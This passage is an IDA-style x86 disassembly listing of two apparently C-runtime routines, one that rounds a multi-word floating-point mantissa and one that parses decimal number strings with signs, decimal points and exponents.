		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_41BA25
		xor	ebx, ebx
		xor	eax, eax

loc_41BA02:				; CODE XREF: sub_41B9BB+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_41BA15
		inc	eax
		cmp	eax, 3
		jl	short loc_41BA02
		xor	eax, eax
		jmp	loc_41BEBA
; ---------------------------------------------------------------------------

loc_41BA15:				; CODE XREF: sub_41B9BB+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41BEBA
; ---------------------------------------------------------------------------

loc_41BA25:				; CODE XREF: sub_41B9BB+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424230
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_41BA5D
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BA5D:				; CODE XREF: sub_41B9BB+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_41BB03
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41BA8B
; ---------------------------------------------------------------------------

loc_41BA86:				; CODE XREF: sub_41B9BB+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_41BA8B:				; CODE XREF: sub_41B9BB+C9j
		jnz	short loc_41BA95
		inc	eax
		cmp	eax, 3
		jl	short loc_41BA86
		jmp	short loc_41BB03
; ---------------------------------------------------------------------------

loc_41BA95:				; CODE XREF: sub_41B9BB:loc_41BA8Bj
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41BAAF
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41BAAF:				; CODE XREF: sub_41B9BB+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41BAEE
		cmp	[ebp+arg_0], edx
		jmp	short loc_41BAEC
; ---------------------------------------------------------------------------

loc_41BAD1:				; CODE XREF: sub_41B9BB+143j
		test	ecx, ecx
		jz	short loc_41BB00
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_41BAEE
		cmp	esi, 1

loc_41BAEC:				; CODE XREF: sub_41B9BB+114j
		jnb	short loc_41BAF5

loc_41BAEE:				; CODE XREF: sub_41B9BB+10Fj
					; sub_41B9BB+12Cj
		mov	[ebp+var_4], 1

loc_41BAF5:				; CODE XREF: sub_41B9BB:loc_41BAECj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_41BAD1

loc_41BB00:				; CODE XREF: sub_41B9BB+118j
		mov	[ebp+arg_0], ecx

loc_41BB03:				; CODE XREF: sub_41B9BB+B5j
					; sub_41B9BB+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41BB23
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41BB23:				; CODE XREF: sub_41B9BB+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_41BB2A
		inc	ebx

loc_41BB2A:				; CODE XREF: sub_41B9BB+16Cj
		mov	eax, dword_42422C
		mov	ecx, eax
		sub	ecx, dword_424230
		cmp	ebx, ecx
		jge	short loc_41BB48
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41BD55
; ---------------------------------------------------------------------------

loc_41BB48:				; CODE XREF: sub_41B9BB+17Ej
		cmp	ebx, eax
		jg	loc_41BD5F
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_41BB76
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BB76:				; CODE XREF: sub_41B9BB+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BB91:				; CODE XREF: sub_41B9BB+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BB91
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BBCB:				; CODE XREF: sub_41B9BB+227j
		cmp	edx, eax
		jl	short loc_41BBD7
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BBDC
; ---------------------------------------------------------------------------

loc_41BBD7:				; CODE XREF: sub_41B9BB+212j
		and	[ebp+edx*4+var_20], 0

loc_41BBDC:				; CODE XREF: sub_41B9BB+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BBCB
		mov	esi, dword_424230
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_41BC0B
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BC0B:				; CODE XREF: sub_41B9BB+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41BCA6
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41BC36
; ---------------------------------------------------------------------------

loc_41BC31:				; CODE XREF: sub_41B9BB+281j
		cmp	[ebp+eax*4+var_20], 0

loc_41BC36:				; CODE XREF: sub_41B9BB+274j
		jnz	short loc_41BC40
		inc	eax
		cmp	eax, 3
		jl	short loc_41BC31
		jmp	short loc_41BCA6
; ---------------------------------------------------------------------------

loc_41BC40:				; CODE XREF: sub_41B9BB:loc_41BC36j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41BC5A
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41BC5A:				; CODE XREF: sub_41B9BB+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41BC76
		cmp	edi, edx
		jnb	short loc_41BC7D

loc_41BC76:				; CODE XREF: sub_41B9BB+2B5j
		mov	[ebp+arg_0], 1

loc_41BC7D:				; CODE XREF: sub_41B9BB+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41BCA3
; ---------------------------------------------------------------------------

loc_41BC84:				; CODE XREF: sub_41B9BB+2E9j
		test	ecx, ecx
		jz	short loc_41BCA6
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41BC9C
		cmp	esi, 1
		jnb	short loc_41BC9F

loc_41BC9C:				; CODE XREF: sub_41B9BB+2DAj
		xor	edi, edi
		inc	edi

loc_41BC9F:				; CODE XREF: sub_41B9BB+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_41BCA3:				; CODE XREF: sub_41B9BB+2C7j
		dec	eax
		jns	short loc_41BC84

loc_41BCA6:				; CODE XREF: sub_41B9BB+263j
					; sub_41B9BB+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41BCC6
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41BCC6:				; CODE XREF: sub_41B9BB+2FCj
		mov	ecx, dword_424234
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BCE7
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BCE7:				; CODE XREF: sub_41B9BB+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BD02:				; CODE XREF: sub_41B9BB+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BD02
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BD3C:				; CODE XREF: sub_41B9BB+398j
		cmp	edx, eax
		jl	short loc_41BD48
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BD4D
; ---------------------------------------------------------------------------

loc_41BD48:				; CODE XREF: sub_41B9BB+383j
		and	[ebp+edx*4+var_20], 0

loc_41BD4D:				; CODE XREF: sub_41B9BB+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BD3C

loc_41BD55:				; CODE XREF: sub_41B9BB+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41BEB9
; ---------------------------------------------------------------------------

loc_41BD5F:				; CODE XREF: sub_41B9BB+18Fj
		cmp	ebx, dword_424228
		mov	ecx, dword_424234
		jl	loc_41BE1E
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BD9A
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BD9A:				; CODE XREF: sub_41B9BB+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BDB5:				; CODE XREF: sub_41B9BB+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BDB5
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BDEF:				; CODE XREF: sub_41B9BB+44Bj
		cmp	edx, eax
		jl	short loc_41BDFB
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BE00
; ---------------------------------------------------------------------------

loc_41BDFB:				; CODE XREF: sub_41B9BB+436j
		and	[ebp+edx*4+var_20], 0

loc_41BE00:				; CODE XREF: sub_41B9BB+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BDEF
		mov	eax, dword_424228
		mov	ecx, dword_42423C
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41BEB9
; ---------------------------------------------------------------------------

loc_41BE1E:				; CODE XREF: sub_41B9BB+3B0j
		mov	eax, dword_42423C
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BE46
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BE46:				; CODE XREF: sub_41B9BB+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_41BE61:				; CODE XREF: sub_41B9BB+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41BE61
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BE9E:				; CODE XREF: sub_41B9BB+4FAj
		cmp	edx, eax
		jl	short loc_41BEAA
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BEAF
; ---------------------------------------------------------------------------

loc_41BEAA:				; CODE XREF: sub_41B9BB+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41BEAF:				; CODE XREF: sub_41B9BB+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BE9E
		xor	eax, eax

loc_41BEB9:				; CODE XREF: sub_41B9BB+39Fj
					; sub_41B9BB+45Ej
		pop	esi

loc_41BEBA:				; CODE XREF: sub_41B9BB+55j
					; sub_41B9BB+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_424234
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424238
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41BEEF
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41BEF9
; ---------------------------------------------------------------------------

loc_41BEEF:				; CODE XREF: sub_41B9BB+525j
		cmp	ecx, 20h
		jnz	short loc_41BEF9
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_41BEF9:				; CODE XREF: sub_41B9BB+532j
					; sub_41B9BB+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_41B9BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEFD	proc near		; CODE XREF: sub_41AFBD+37p
					; sub_41B063+37p

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_46		= dword	ptr -46h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_9		= byte ptr -9
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		xor	esi, esi
		mov	[ebp+var_7C], eax
		mov	eax, [ebp+arg_4]
		inc	esi
		xor	ecx, ecx
		cmp	[ebp+arg_1C], ebx
		push	edi
		mov	[ebp+var_70], eax
		lea	edi, [ebp+var_20]
		mov	[ebp+var_74], ebx
		mov	[ebp+var_68], esi
		mov	[ebp+var_4C], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_60], ebx
		mov	[ebp+var_64], ebx
		mov	[ebp+var_50], ebx
		mov	[ebp+var_6C], ebx
		jnz	short loc_41BF65
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		xor	eax, eax
		jmp	loc_41C57F
; ---------------------------------------------------------------------------

loc_41BF65:				; CODE XREF: sub_41BEFD+47j
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_54], edx

loc_41BF6B:				; CODE XREF: sub_41BEFD+81j
		mov	al, [edx]
		cmp	al, 20h
		jz	short loc_41BF7D
		cmp	al, 9
		jz	short loc_41BF7D
		cmp	al, 0Ah
		jz	short loc_41BF7D
		cmp	al, 0Dh
		jnz	short loc_41BF80

loc_41BF7D:				; CODE XREF: sub_41BEFD+72j
					; sub_41BEFD+76j ...
		inc	edx
		jmp	short loc_41BF6B
; ---------------------------------------------------------------------------

loc_41BF80:				; CODE XREF: sub_41BEFD+7Ej
		mov	bl, 30h

loc_41BF82:				; CODE XREF: sub_41BEFD+A6j
					; sub_41BEFD+BCj ...
		mov	al, [edx]
		inc	edx
		cmp	ecx, 0Bh	; switch 12 cases
		ja	loc_41C1BD	; default
					; jumptable 0041BF8E case 10
		jmp	ds:off_41C591[ecx*4] ; switch jump

loc_41BF95:				; DATA XREF: .text:off_41C591o
		mov	cl, al		; jumptable 0041BF8E case 0
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41BFA5

loc_41BF9F:				; CODE XREF: sub_41BEFD+F7j
					; sub_41BEFD+14Aj
		push	3

loc_41BFA1:				; CODE XREF: sub_41BEFD+201j
					; sub_41BEFD+218j
		pop	ecx
		dec	edx
		jmp	short loc_41BF82
; ---------------------------------------------------------------------------

loc_41BFA5:				; CODE XREF: sub_41BEFD+A0j
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41BFBB

loc_41BFB6:				; CODE XREF: sub_41BEFD+15Fj
		push	5

loc_41BFB8:				; CODE XREF: sub_41BEFD+10Cj
					; sub_41BEFD+138j ...
		pop	ecx
		jmp	short loc_41BF82
; ---------------------------------------------------------------------------

loc_41BFBB:				; CODE XREF: sub_41BEFD+B7j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41BFE0
		dec	eax
		dec	eax
		jz	short loc_41BFD4
		sub	eax, 3
		jnz	loc_41C15B

loc_41BFD0:				; CODE XREF: sub_41BEFD+118j
					; sub_41BEFD+167j
		mov	ecx, esi
		jmp	short loc_41BF82
; ---------------------------------------------------------------------------

loc_41BFD4:				; CODE XREF: sub_41BEFD+C8j
		push	2
		pop	ecx
		mov	[ebp+var_74], 8000h
		jmp	short loc_41BF82
; ---------------------------------------------------------------------------

loc_41BFE0:				; CODE XREF: sub_41BEFD+C4j
		and	[ebp+var_74], 0
		push	2
		pop	ecx
		jmp	short loc_41BF82
; ---------------------------------------------------------------------------

loc_41BFE9:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	cl, al		; jumptable 0041BF8E case 1
		sub	cl, 31h
		cmp	cl, 8
		mov	[ebp+var_58], esi
		jbe	short loc_41BF9F
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jnz	short loc_41C00B

loc_41C007:				; CODE XREF: sub_41BEFD+1A7j
		push	4
		jmp	short loc_41BFB8
; ---------------------------------------------------------------------------

loc_41C00B:				; CODE XREF: sub_41BEFD+108j
		cmp	al, 2Bh
		jz	short loc_41C037
		cmp	al, 2Dh
		jz	short loc_41C037
		cmp	al, bl
		jz	short loc_41BFD0

loc_41C017:				; CODE XREF: sub_41BEFD+1B5j
		cmp	al, 43h
		jle	loc_41C15B
		cmp	al, 45h
		jle	short loc_41C033
		cmp	al, 63h
		jle	loc_41C15B
		cmp	al, 65h
		jg	loc_41C15B

loc_41C033:				; CODE XREF: sub_41BEFD+124j
		push	6
		jmp	short loc_41BFB8
; ---------------------------------------------------------------------------

loc_41C037:				; CODE XREF: sub_41BEFD+110j
					; sub_41BEFD+114j ...
		dec	edx
		push	0Bh
		jmp	loc_41BFB8
; ---------------------------------------------------------------------------

loc_41C03F:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	cl, al		; jumptable 0041BF8E case 2
		sub	cl, 31h
		cmp	cl, 8
		jbe	loc_41BF9F
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41BFB6
		cmp	al, bl
		jz	loc_41BFD0

loc_41C06A:				; CODE XREF: sub_41BEFD+1F9j
					; sub_41BEFD:loc_41C129j
		mov	edx, [ebp+var_54]
		jmp	loc_41C186
; ---------------------------------------------------------------------------

loc_41C072:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	[ebp+var_58], esi ; jumptable 0041BF8E case 3
		jmp	short loc_41C091
; ---------------------------------------------------------------------------

loc_41C077:				; CODE XREF: sub_41BEFD+196j
		cmp	al, 39h
		jg	short loc_41C095
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41C08B
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		jmp	short loc_41C08E
; ---------------------------------------------------------------------------

loc_41C08B:				; CODE XREF: sub_41BEFD+182j
		inc	[ebp+var_50]

loc_41C08E:				; CODE XREF: sub_41BEFD+18Cj
		mov	al, [edx]
		inc	edx

loc_41C091:				; CODE XREF: sub_41BEFD+178j
		cmp	al, bl
		jge	short loc_41C077

loc_41C095:				; CODE XREF: sub_41BEFD+17Cj
		mov	ecx, [ebp+arg_1C]
		mov	ecx, [ecx]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		cmp	al, [ecx]
		jz	loc_41C007

loc_41C0AA:				; CODE XREF: sub_41BEFD+1D6j
					; sub_41BEFD+1F0j
		cmp	al, 2Bh
		jz	short loc_41C037
		cmp	al, 2Dh
		jz	short loc_41C037
		jmp	loc_41C017
; ---------------------------------------------------------------------------

loc_41C0B7:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		cmp	[ebp+var_4C], 0	; jumptable 0041BF8E case 4
		mov	[ebp+var_58], esi
		mov	[ebp+var_5C], esi
		jnz	short loc_41C0E9
		jmp	short loc_41C0CB
; ---------------------------------------------------------------------------

loc_41C0C5:				; CODE XREF: sub_41BEFD+1D0j
		dec	[ebp+var_50]
		mov	al, [edx]
		inc	edx

loc_41C0CB:				; CODE XREF: sub_41BEFD+1C6j
		cmp	al, bl
		jz	short loc_41C0C5
		jmp	short loc_41C0E9
; ---------------------------------------------------------------------------

loc_41C0D1:				; CODE XREF: sub_41BEFD+1EEj
		cmp	al, 39h
		jg	short loc_41C0AA
		cmp	[ebp+var_4C], 19h
		jnb	short loc_41C0E6
		inc	[ebp+var_4C]
		sub	al, bl
		mov	[edi], al
		inc	edi
		dec	[ebp+var_50]

loc_41C0E6:				; CODE XREF: sub_41BEFD+1DCj
		mov	al, [edx]
		inc	edx

loc_41C0E9:				; CODE XREF: sub_41BEFD+1C4j
					; sub_41BEFD+1D2j
		cmp	al, bl
		jge	short loc_41C0D1
		jmp	short loc_41C0AA
; ---------------------------------------------------------------------------

loc_41C0EF:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		sub	al, bl		; jumptable 0041BF8E case 5
		cmp	al, 9
		mov	[ebp+var_5C], esi
		ja	loc_41C06A
		push	4
		jmp	loc_41BFA1
; ---------------------------------------------------------------------------

loc_41C103:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		lea	ecx, [edx-2]	; jumptable 0041BF8E case 6
		mov	[ebp+var_54], ecx
		mov	cl, al
		sub	cl, 31h
		cmp	cl, 8
		ja	short loc_41C11A

loc_41C113:				; CODE XREF: sub_41BEFD+25Cj
					; sub_41BEFD+269j
		push	9
		jmp	loc_41BFA1
; ---------------------------------------------------------------------------

loc_41C11A:				; CODE XREF: sub_41BEFD+214j
		movsx	eax, al
		sub	eax, 2Bh
		jz	short loc_41C142
		dec	eax
		dec	eax
		jz	short loc_41C136
		sub	eax, 3

loc_41C129:				; CODE XREF: sub_41BEFD+26Dj
		jnz	loc_41C06A
		push	8
		jmp	loc_41BFB8
; ---------------------------------------------------------------------------

loc_41C136:				; CODE XREF: sub_41BEFD+227j
					; sub_41BEFD+285j
		or	[ebp+var_68], 0FFFFFFFFh
		push	7
		pop	ecx
		jmp	loc_41BF82
; ---------------------------------------------------------------------------

loc_41C142:				; CODE XREF: sub_41BEFD+223j
					; sub_41BEFD+281j
		push	7
		jmp	loc_41BFB8
; ---------------------------------------------------------------------------

loc_41C149:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	[ebp+var_60], esi ; jumptable 0041BF8E case 8
		jmp	short loc_41C151
; ---------------------------------------------------------------------------

loc_41C14E:				; CODE XREF: sub_41BEFD+256j
		mov	al, [edx]
		inc	edx

loc_41C151:				; CODE XREF: sub_41BEFD+24Fj
		cmp	al, bl
		jz	short loc_41C14E
		sub	al, 31h
		cmp	al, 8
		jbe	short loc_41C113

loc_41C15B:				; CODE XREF: sub_41BEFD+CDj
					; sub_41BEFD+11Cj ...
		dec	edx
		jmp	short loc_41C186
; ---------------------------------------------------------------------------

loc_41C15E:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	cl, al		; jumptable 0041BF8E case 7
		sub	cl, 31h
		cmp	cl, 8
		jbe	short loc_41C113
		cmp	al, bl
		jmp	short loc_41C129
; ---------------------------------------------------------------------------

loc_41C16C:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		cmp	[ebp+arg_18], 0	; jumptable 0041BF8E case 11
		jz	short loc_41C1B9
		movsx	eax, al
		sub	eax, 2Bh
		lea	ecx, [edx-1]
		mov	[ebp+var_54], ecx
		jz	short loc_41C142
		dec	eax
		dec	eax
		jz	short loc_41C136
		mov	edx, ecx

loc_41C186:				; CODE XREF: sub_41BEFD+170j
					; sub_41BEFD+25Fj ...
		cmp	[ebp+var_58], 0
		mov	eax, [ebp+var_70]
		mov	[eax], edx
		jz	loc_41C53A
		push	18h
		pop	eax
		cmp	[ebp+var_4C], eax
		jbe	short loc_41C1AD
		cmp	[ebp+var_9], 5
		jl	short loc_41C1A6
		inc	[ebp+var_9]

loc_41C1A6:				; CODE XREF: sub_41BEFD+2A4j
		dec	edi
		inc	[ebp+var_50]
		mov	[ebp+var_4C], eax

loc_41C1AD:				; CODE XREF: sub_41BEFD+29Ej
		cmp	[ebp+var_4C], 0
		jbe	loc_41C561
		jmp	short loc_41C212
; ---------------------------------------------------------------------------

